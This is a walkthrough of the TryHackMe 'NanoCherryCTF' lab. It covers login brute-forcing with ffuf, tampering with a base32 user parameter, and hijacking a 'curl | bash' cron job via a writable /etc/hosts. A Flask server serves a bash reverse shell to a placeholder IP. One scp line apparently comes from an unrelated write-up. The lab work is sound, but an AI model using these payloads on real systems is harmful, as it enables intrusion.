TryHackMe - NanoCherryCTF¶
Introduction¶
OS: Linux
URL: NanoCherryCTF
Level: Medium
Very CTF styled room a story with multiple horizontal privilege escalations and a unique challenge to get root.
Preface¶
Story from the room:
The Story:
The vigilante hacker and Vim enthusiast has enlisted you for help!
He's been tipped off that the enigmatic ice cream shop owner Chad Cherry and his creamy crew are up to something nefarious: they plan to use their totally legit business to rid the world of the greatest text editor, Vim, and replace it with their preferred editor Nano!
You'll need to hack into the ice cream shop and escalate your privileges to take them down!
Jex has already gained initial access and has created a backdoor account to help you out.
The Backdoor:
Jex has set up a backdoor account for you to use to get started.
Username: notsus
Password: dontbeascriptkiddie
We are also asked to add cherryontop.thm
to our /etc/hosts
file.
Recon¶
Let's start with a nmap scan
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ sudo nmap -sC -sV -oN nmap/initial $IP -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9e:e6:fd:19:23:a3:b1:40:77:1c:a4:c4:2f:e6:d3:4b (ECDSA)
|_ 256 15:2b:23:73:3f:c8:8a:a3:b4:aa:1d:ae:70:d4:5f:ae (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Cherry on Top Ice Cream Shop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Only two ports are open, SSH and HTTP.
We already have creds for user notsus
so let's try to SSH into the machine.
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ ssh notsus@$IP
[email protected]'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Mon Jan 15 21:29:58 2024 from 10.0.2.15
$ bash
notsus@nanocherryctf:~$ whoami
notsus
notsus@nanocherryctf:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
chad-cherry:x:1000:1000:Chad Cherry:/home/chad-cherry:/bin/bash
molly-milk:x:1001:1001::/home/molly-milk:/bin/sh
sam-sprinkles:x:1002:1002::/home/sam-sprinkles:/bin/sh
bob-boba:x:1003:1003::/home/bob-boba:/bin/sh
notsus:x:1004:1004::/home/.notsus:/bin/sh
We have six total users including our user notsus
and the root user.
Exploitation¶
Path to molly-milk¶
Unlike usual, we already have a shell session as a user, so instead of bruteforcing a subdomain / directory listing, we can just see if we can access the relevant config / directories.
notsus@nanocherryctf:~$ ls -la /var/www/
ls: cannot open directory '/var/www/': Permission denied
notsus@nanocherryctf:~$ ls -la /var/ | grep www
drwx------ 5 www-data root 4096 Apr 8 2023 www
Only root / www-data can access the /var/www
directory.
If we take a look at the cherryontop.thm
website headers we see that it's running on Apache.
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ curl -I cherryontop.thm
HTTP/1.1 200 OK
Date: Sun, 07 Jul 2024 02:10:54 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html; charset=UTF-8
Let's try to get all the subdomains by checking the apache config.
notsus@nanocherryctf:~$ grep -iR ServerName /etc/apache2/sites-enabled/
/etc/apache2/sites-enabled/a.cherryontop.thm.conf: # The ServerName directive sets the request scheme, hostname and port that
/etc/apache2/sites-enabled/a.cherryontop.thm.conf: # redirection URLs. In the context of virtual hosts, the ServerName
/etc/apache2/sites-enabled/a.cherryontop.thm.conf: #ServerName www.example.com
/etc/apache2/sites-enabled/a.cherryontop.thm.conf: ServerName cherryontop.thm
/etc/apache2/sites-enabled/b.cherryontop.thm.conf: # The ServerName directive sets the request scheme, hostname and port that
/etc/apache2/sites-enabled/b.cherryontop.thm.conf: # redirection URLs. In the context of virtual hosts, the ServerName
/etc/apache2/sites-enabled/b.cherryontop.thm.conf: #ServerName www.example.com
/etc/apache2/sites-enabled/b.cherryontop.thm.conf: ServerName nano.cherryontop.thm
grep: /etc/apache2/sites-enabled/000-default.conf: No such file or directory
The only subdomain listed is nano.cherryontop.thm
. Let's add it to our /etc/hosts
file.
Let's access the webpage.
We get a page with some questionable content.
Clicking through the links in the menu, we get to the Admin login.php
page.
Trying to guess some usernames we get an error message 'This user doesn't exist'. The page isn't vulnerable to any SQL injection either.
But it's peculiar that it says the user doesn't exist instead of a generic error. Maybe we can use this message to enumerate the users.
using ffuf
to bruteforce the usernames.
Let's first try to login and save the request using burp suite.
Let's now try to FUZZ both the username and password fields.
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ ffuf -request login_request -w /opt/useful/SecLists/Usernames/top-usernames-shortlist.txt -mc all -request-proto http -fr "This user doesn't exist"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://nano.cherryontop.thm/login.php
:: Wordlist : FUZZ: /opt/useful/SecLists/Usernames/top-usernames-shortlist.txt
:: Header : Origin: http://nano.cherryontop.thm
:: Header : Referer: http://nano.cherryontop.thm/login.php
:: Header : Host: nano.cherryontop.thm
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Connection: close
:: Header : Upgrade-Insecure-Requests: 1
:: Data : username=FUZZ&password=admin&submit=
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Regexp: This user doesn't exist
________________________________________________
puppet [Status: 200, Size: 2370, Words: 733, Lines: 61, Duration: 170ms]
:: Progress: [17/17] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
┌──(nanocherryctf)─(kali㉿kali)-[~/THM/nanocherryctf]
└─$ ffuf -request login_request -w /usr/share/wordlists/rockyou.txt -mc all -request-proto http -fr "Bad password"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://nano.cherryontop.thm/login.php
:: Wordlist : FUZZ: /usr/share/wordlists/rockyou.txt
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
:: Header : Origin: http://nano.cherryontop.thm
:: Header : Connection: close
:: Header : Referer: http://nano.cherryontop.thm/login.php
:: Header : Upgrade-Insecure-Requests: 1
:: Header : Host: nano.cherryontop.thm
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Content-Type: application/x-www-form-urlencoded
:: Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
:: Data : username=puppet&password=FUZZ&submit=
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Regexp: Bad password
________________________________________________
master [Status: 302, Size: 333, Words: 37, Lines: 12, Duration: 234ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
Using ffuf
's regex filter we can easily find the usernames and passwords.
We can find the flag and molly-milk
's password after logging in.
We can now SSH into the machine as molly-milk
.
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ ssh molly-milk@$IP
[email protected]'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Jan 15 21:40:22 2024
$ bash
molly-milk@nanocherryctf:~$ whoami
molly-milk
molly-milk@nanocherryctf:~$ cat chads-key1.txt
**REDACTED**
We also get the first part of chad-cherry
's password.
Path to sam-sprinkles¶
Taking a look at the main domain cherryontop.thm
. Only Ice Cream Facts
is linked to a different page.
There are four facts listed. But only one user Guest
.
Each fact corresponds to facts=1-4
in the url query parameter.
Let's try to brute force the facts
query param from 0-1000
to see if we can access any facts that are not listed.
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ ffuf -u "http://cherryontop.thm/content.php?facts=FUZZ&user=I52WK43U" -w <(seq 0 1000) -mc all -fr "Error"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://cherryontop.thm/content.php?facts=FUZZ&user=I52WK43U
:: Wordlist : FUZZ: /proc/self/fd/11
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Regexp: Error
________________________________________________
20 [Status: 200, Size: 2479, Words: 755, Lines: 63, Duration: 166ms]
43 [Status: 200, Size: 2498, Words: 759, Lines: 63, Duration: 165ms]
50 [Status: 200, Size: 2487, Words: 757, Lines: 63, Duration: 164ms]
64 [Status: 200, Size: 2486, Words: 757, Lines: 63, Duration: 163ms]
1 [Status: 200, Size: 2499, Words: 759, Lines: 63, Duration: 3664ms]
3 [Status: 200, Size: 2514, Words: 762, Lines: 63, Duration: 4673ms]
4 [Status: 200, Size: 2523, Words: 761, Lines: 63, Duration: 4688ms]
2 [Status: 200, Size: 2519, Words: 762, Lines: 63, Duration: 4686ms]
:: Progress: [1001/1001] :: Job [1/1] :: 243 req/sec :: Duration: [0:00:07] :: Errors: 0 ::
We find four more facts. But they do not contain anything useful.
┌──(kali㉿kali)-[~/THM/nanocherryctf/data]
└─$ for i in {20,43,50,64}; do echo $i; curl -s "http://cherryontop.thm/content.php?facts=$i&user=I52WK43U" | grep '</form>' -A 2; echo -n '\n\n'; done
20
</form>
<b>Nope. Just Nope.</b> </div>
43
</form>
<b>Nice try! You can't touch my stuff!</b> </div>
50
</form>
<b>No secret notes for you!</b> </div>
64
</form>
<b>No Easter eggs for you!</b> </div>
We likely need to change the user to sam-sprinkles
or some other valid user to get the data.
Guest
value in the select box corresponds to the user I52WK43U
in query parameter. Using the magic
recipe from CyberChef we can identify how the Guest
value is encoded.
Now that we know that the username is being encoded in base32 let's try to query the facts with user sam-sprinkles
.
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ echo -n "sam-sprinkles" | base32
ONQW2LLTOBZGS3TLNRSXG===
┌──(kali㉿kali)-[~/THM/nanocherryctf/data]
└─$ for i in {20,43,50,64}; do echo $i; curl -s "http://cherryontop.thm/content.php?facts=$i&user=ONQW2LLTOBZGS3TLNRSXG===" | grep '</form>' -A 2; echo -n '\n\n'; done
20
</form>
<b>Nope. Just Nope.</b> </div>
43
</form>
<b>My secret web hideout in case I forget my ssh credentials again<br>sam-sprinkles:**REDACTED**</b> </div>
50
</form>
<b>No secret notes for you!</b> </div>
64
</form>
<b>No Easter eggs for you!</b> </div>
and we get the password for sam-sprinkles
.
molly-milk@nanocherryctf:~$ su sam-sprinkles
Password:
sam-sprinkles@nanocherryctf:/home/molly-milk$ cd
sam-sprinkles@nanocherryctf:~$ whoami
sam-sprinkles
sam-sprinkles@nanocherryctf:~$ cat chads-key2.txt
**REDACTED**
We also get the second part of chad-cherry
's password.
Path to bob-boba¶
Checking all the crontabs we can see that bob-boba
has a cronjob running every minute.
sam-sprinkles@nanocherryctf:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
[...SNIP...]
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * bob-boba curl cherryontop.tld:8000/home/bob-boba/coinflip.sh | bash
Looks like bob-boba
is trying to fetch a script from cherryontop.tld:8000
and execute it.
If we can take control of the domain by editing the /etc/hosts
file we can get bob-boba
to execute our script.
This is pretty much identical to what we have done in mKingdom room.
Looks like the permission on the /etc/hosts
file was changed to 666
so we can edit it.
sam-sprinkles@nanocherryctf:~$ echo "YOUR_THM_VPN_IP cherryontop.tld" | tee -a /etc/hosts
YOUR_THM_VPN_IP cherryontop.tld
sam-sprinkles@nanocherryctf:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.0.1 cherryontop.com
127.0.0.1 cherryontop.thm
127.0.0.1 nano.cherryontop.thm
127.0.1.1 nanocherryctf
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
YOUR_THM_VPN_IP cherryontop.tld
Now let us host a simple flask server to serve the coinflip.sh
script with a reverse shell as the content.
from flask import Flask
app = Flask(__name__)
@app.route('/home/bob-boba/coinflip.sh')
def hello_world():
return """#!/bin/bash
bash -c 'bash -i >& /dev/tcp/YOUR_THM_IP/9001 0>&1'
"""
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ python exploit_server.py
* Serving Flask app 'exploit_flask'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:8000
* Running on http://192.168.74.132:8000
Press CTRL+C to quit
10.10.93.51 - - [06/Jul/2024 23:58:02] "GET /home/bob-boba/coinflip.sh HTTP/1.1" 200 -
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [YOUR_THM_VPN_IP] from (UNKNOWN) [10.10.93.51] 43088
bash: cannot set terminal process group (2831): Inappropriate ioctl for device
bash: no job control in this shell
bob-boba@nanocherryctf:~$ whoami
whoami
bob-boba
bob-boba@nanocherryctf:~$ ls
ls
bobLog.txt
chads-key3.txt
coinflip.sh
bob-boba@nanocherryctf:~$ cat chads-key3.txt
cat chads-key3.txt
**REDACTED**
Finally, we get the third part of chad-cherry
's password.
Path to root¶
Now that we have all the parts of chad-cherry
's password we can SSH into the machine as chad-cherry
.
sam-sprinkles@nanocherryctf:~$ su chad-cherry
Password:
chad-cherry@nanocherryctf:/home/bob-boba$ cd
chad-cherry@nanocherryctf:~$ ls -lah
total 3.3M
drwxr-x--- 5 chad-cherry chad-cherry 4.0K Jan 5 2024 .
drwxr-xr-x 7 root root 4.0K Apr 1 2023 ..
[...SNIP...]
-rw-rw-r-- 1 chad-cherry chad-cherry 1.9K Jan 5 2024 Hello.txt
-rw-rw-r-- 1 chad-cherry chad-cherry 22 Nov 22 2023 chad-flag.txt
-rw-rw-r-- 1 chad-cherry chad-cherry 3.2M Jan 5 2024 rootPassword.wav
chad-cherry@nanocherryctf:~$ cat Hello.txt
Hello there.
[...SNIP...]
You can find the password to the root account in the .wav file. Whomever you are, if you're a smart enough hacker, you'll figure it out.
Good luck and as that one guy keeps saying: don't be a script kiddie.
- Chad Cherry
So we have a .wav
file which contains the password to the root account according to Hello.txt
.
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ scp -J localhost:3232 blazorized.nu_1055.dc1:/programdata/20240705122820_BloodHound.zip .
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ scp [email protected]:/home/chad-cherry/rootPassword.wav .
[email protected]'s password:
rootPassword.wav 100% 3248KB 825.1KB/s 00:03
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ file rootPassword.wav
rootPassword.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz
┌──(kali㉿kali)-[~/THM/nanocherryctf]
└─$ exiftool rootPassword.wav
ExifTool Version Number : 12.76
File Name : rootPassword.wav
Directory : .
File Size : 3.3 MB
File Modification Date/Time : 2024:07:07 00:06:50-04:00
File Access Date/Time : 2024:07:07 00:06:57-04:00
File Inode Change Date/Time : 2024:07:07 00:06:50-04:00
File Permissions : -rw-r--r--
File Type : WAV
File Type Extension : wav
MIME Type : audio/x-wav
Encoding : Microsoft PCM
Num Channels : 1
Sample Rate : 44100
Avg Bytes Per Sec : 88200
Bits Per Sample : 16
Duration : 0:00:38
It seems to be just a normal .wav
file.
Listening to it sounds just like one of those dail up modem sounds.
Opening up the file in audacity
and changing to spectrogram
view. We see a peculiar pattern at the beginning which looks like binary data translated to analog audio.
after searching for a while, I was getting nowhere.
Decided to search for wav to binary decoder
and encountered a stackexchange post which also mentions an identical looking spectrogram start.
The answer mentions that the file likely might be SSTV (Slow Scan Television) and also links a cli tool we can use.
┌──(kali㉿kali)-[~/THM/nanocherryctf/data]
└─$ python -m venv sstv_venv
┌──(kali㉿kali)-[~/THM/nanocherryctf/data]
└─$ . ./sstv_venv/bin/activate
┌──(sstv_venv)─(kali㉿kali)-[~/THM/nanocherryctf/data]
└─$ git clone https://github.com/colaclanth/sstv
Cloning into 'sstv'...
remote: Enumerating objects: 221, done.
remote: Counting objects: 100% (59/59), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 221 (delta 51), reused 49 (delta 49), pack-reused 162
Receiving objects: 100% (221/221), 1.01 MiB | 1.60 MiB/s, done.
Resolving deltas: 100% (139/139), done.
┌──(sstv_venv)─(kali㉿kali)-[~/THM/nanocherryctf/data]
└─$ cd sstv
┌──(sstv_venv)─(kali㉿kali)-[~/THM/nanocherryctf/data/sstv]
└─$ python setup.py install
running install
[...SNIP...]
Installed /home/kali/THM/nanocherryctf/data/sstv_venv/lib/python3.11/site-packages/pycparser-2.22-py3.11.egg
Finished processing dependencies for sstv==0.1
┌──(sstv_venv)─(kali㉿kali)-[~/THM/nanocherryctf/data/sstv]
└─$ sstv -d ../rootPassword.wav -o result.png
[sstv] Searching for calibration header... Found!
[sstv] Detected SSTV mode Robot 36
[sstv] Decoding image... [###################] 99%
[sstv] Reached end of audio whilst decoding.
[sstv] Drawing image data...
[sstv] ...Done!
We get a result.png
file which contains the password to the root account.
chad-cherry@nanocherryctf:~$ su root
Password:
root@nanocherryctf:/home/chad-cherry# cd
root@nanocherryctf:~# whoami
root
root@nanocherryctf:~# cat root-flag.txt
THM{**REDACTED**}
And we get the root flag.